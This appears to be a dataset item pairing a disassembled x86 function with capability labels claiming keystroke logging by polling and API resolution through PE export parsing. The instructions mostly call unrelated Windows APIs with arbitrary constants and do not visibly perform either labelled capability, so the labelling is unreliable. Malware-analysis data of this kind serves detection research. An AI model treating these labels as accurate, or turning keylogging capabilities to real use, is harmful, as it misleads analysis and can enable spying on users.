Function at 0x10002345
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x1a8
xor eax, eax
lea ecx, [esp + 0xa0]
lea edx, [esp + 0xb0]
lea esi, [esp + 0x170]
mov dword [esp + 0x9c], ecx
mov dword [esp + 0x98], edx
mov dword [esp + 0x94], esi
mov dword [esp + 0x90], eax
jmp 0x100023e9
mov eax, dword [esp + 0x8c]
add eax, 1
cmp eax, 0x339
mov dword [esp + 0x88], eax
je 0x10002557
jmp 0x10002451
mov eax, esp
mov dword [eax], 0x71c857
mov eax, dword [sym.imp.GDI32.dll_GetLayout]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xfe5
mov dword [ecx], 0x1700c9
mov ecx, dword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [esp + 0x84], eax
call ecx
sub esp, 8
mov dword [esp + 0x80], eax
jmp 0x100025a4
mov eax, dword [esp + 0x90]
mov ecx, esp
mov dword [ecx + 4], 0xde32b9
mov dword [ecx], 0x7a4
mov ecx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov dword [esp + 0x7c], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x267a9a
mov ecx, dword [sym.imp.GDI32.dll_GetTextCharacterExtra]
mov dword [esp + 0x78], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x5225d4
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanExA]
mov dword [esp + 0x74], eax
call ecx
sub esp, 8
xor ecx, ecx
mov word [esp + 0x72], ax
mov dword [esp + 0x88], ecx
mov eax, dword [esp + 0x88]
mov ecx, 0xf0f0f0f1
mov dword [esp + 0x8c], eax
mul ecx
shr edx, 4
imul eax, edx, 0x11
mov ecx, dword [esp + 0x8c]
sub ecx, eax
mov eax, ecx
sub eax, 7
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x68], eax
je 0x100024e2
jmp 0x10002486
mov eax, dword [esp + 0x6c]
test eax, eax
jne 0x10002387
jmp 0x10002494
xor eax, eax
mov ecx, 0x34
mov edx, dword [esp + 0x94]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x34
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], ecx
call sub.msvcrt.dll_memset
mov eax, esp
lea ecx, [esp + 0x170]
mov dword [eax + 4], ecx
mov dword [eax], 0x47ad8c
mov eax, dword [sym.imp.USER32.dll_GetComboBoxInfo]
call eax
sub esp, 8
mov dword [esp + 0x5c], eax
mov eax, esp
mov dword [eax + 0xc], 0x119
mov dword [eax + 8], 0xa7f
mov dword [eax + 4], 0x9c95c8
mov dword [eax], 0x4913a3
mov eax, dword [sym.imp.USER32.dll_CreateCaret]
call eax
sub esp, 0x10
xor ecx, ecx
mov edx, 0xc0
mov esi, dword [esp + 0x98]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc0
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], edx
call sub.msvcrt.dll_memset
mov eax, esp
lea ecx, [esp + 0xb0]
mov dword [eax], ecx
call sub.POWRPROF.dll_WriteGlobalPwrPolicy
sub esp, 4
mov byte [esp + 0x4f], al
jmp 0x10002387
xor eax, eax
mov ecx, esp
mov dword [ecx], 0xfe9856
mov ecx, dword [sym.imp.KERNEL32.dll_LocalSize]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
xor ecx, ecx
mov edx, dword [esp + 0x7c]
sub edx, 0x5f
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], ecx
mov dword [esp + 0x3c], edx
je 0x100023aa
jmp 0x1000258d
mov eax, dword [esp + 0x7c]
sub eax, 0xb
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ecx
jne 0x100025f1
jmp 0x100025a4
xor eax, eax
mov ecx, 0xc
mov edx, dword [esp + 0x9c]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
call sub.msvcrt.dll_memset
mov eax, esp
lea ecx, [esp + 0xa0]
mov dword [eax + 4], ecx
mov dword [eax], ecx
call sub.urlmon.dll_CopyStgMedium
sub esp, 8
mov dword [esp + 0x28], eax
jmp 0x1000268a
mov eax, dword [esp + 0x34]
mov ecx, esp
mov dword [ecx + 4], 0x506
mov dword [ecx], 0x1b33ba
mov ecx, dword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [esp + 0x24], eax
call ecx
sub esp, 8
mov ecx, dword [esp + 0x24]
add ecx, 1
mov edx, esp
mov dword [edx + 8], 0xcce
mov dword [edx + 4], 0xa5b46c
mov dword [edx], 0xcf0f5c
mov edx, dword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
call edx
sub esp, 0xc
mov ecx, esp
mov dword [ecx + 0xc], str.UM_PscGuCVY_
mov dword [ecx + 8], 0x794
mov dword [ecx + 4], 0x794
mov dword [ecx], 0xf87f7
mov ecx, dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [esp + 0x18], eax
call ecx
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
cmp ecx, 0xa
mov dword [esp + 0x14], eax
mov dword [esp + 0x34], ecx
jne 0x100025f1
mov eax, dword [esp + 0x7c]
add eax, 1
cmp eax, 0x27
mov dword [esp + 0x90], eax
jne 0x100023e9
lea esp, [ebp - 4]
pop esi
pop ebp
ret